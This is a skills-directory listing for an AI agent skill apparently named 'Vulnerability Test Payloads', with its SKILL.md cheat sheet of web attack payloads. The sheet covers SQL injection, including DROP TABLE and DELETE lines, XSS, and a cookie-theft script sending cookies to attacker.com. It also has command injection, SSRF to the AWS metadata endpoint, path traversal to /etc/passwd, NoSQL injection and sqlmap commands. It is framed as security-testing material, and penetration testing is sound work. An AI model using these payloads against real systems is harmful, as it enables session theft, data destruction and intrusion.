1140 Vulnerability Payloads C878e61d

Name: 1140 Vulnerability Payloads C878e61d
Author: tools-only

BSecurity

``` ' OR '1'='1 ' OR 1=1 -- '; DROP TABLE users; -- ' UNION SELECT NULL, NULL -- ```

9 stars
0 votes
0 copies
0 views
Added October 11, 2026

toolsjavascriptgojavabashsqlawstesting

Works with

Security analysis

B88/100

criticalAccesses sensitive system or user directories

Pro shows the line behind each finding and how to fix it

Scanned October 11, 2026

npx -y skills add tools-only/X-Skills --skill 1140-vulnerability-payloads_c878e61d --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of 1140 Vulnerability Payloads C878e61d?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for 1140 Vulnerability Payloads C878e61d

[![Security: B — Skills Directory](https://www.skillsdirectory.com/api/skills/tools-only-1140-vulnerability-payloads-c878e61d/badge)](https://www.skillsdirectory.com/skills/tools-only-1140-vulnerability-payloads-c878e61d)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

SKILL.md

# Vulnerability Test Payloads

## SQL Injection

### Text Input
```
' OR '1'='1
' OR 1=1 --
'; DROP TABLE users; --
' UNION SELECT NULL, NULL --
```

### Numeric Input
```
1 OR 1=1
1; DELETE FROM users; --
```

### Blind (Time-based)
```
' OR SLEEP(5) --
' AND (SELECT(SLEEP(5)))a --
```

## XSS (Cross-Site Scripting)

### Reflected
```html
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg/onload=alert('XSS')>
"><script>alert('XSS')</script>
```

### DOM-based
```
javascript:alert('XSS')
<iframe src="javascript:alert('XSS')"></iframe>
```

### Cookie Theft
```html
<script>fetch('http://attacker.com/?c='+document.cookie)</script>
```

## NoSQL Injection (MongoDB)

```json
{"$ne": null}
{"$gt": ""}
{"$regex": ".*"}
{"$where": "1==1"}
```

## Command Injection

```
; ls -la
| whoami
`whoami`
$(whoami)
```

## SSRF

```
http://localhost/admin
http://127.0.0.1/admin
http://169.254.169.254/  # AWS metadata
```

## Path Traversal

```
../../../etc/passwd
..%2F..%2F..%2Fetc%2Fpasswd
```

## CSRF Testing

1. Submit form without CSRF token
2. Reuse captured token multiple times
3. Modify/remove token parameter

## Testing Tools

```bash
# SQLMap
sqlmap -u "http://example.com/page?id=1" --dbs

# OWASP ZAP active scan
zap-cli active-scan http://example.com
```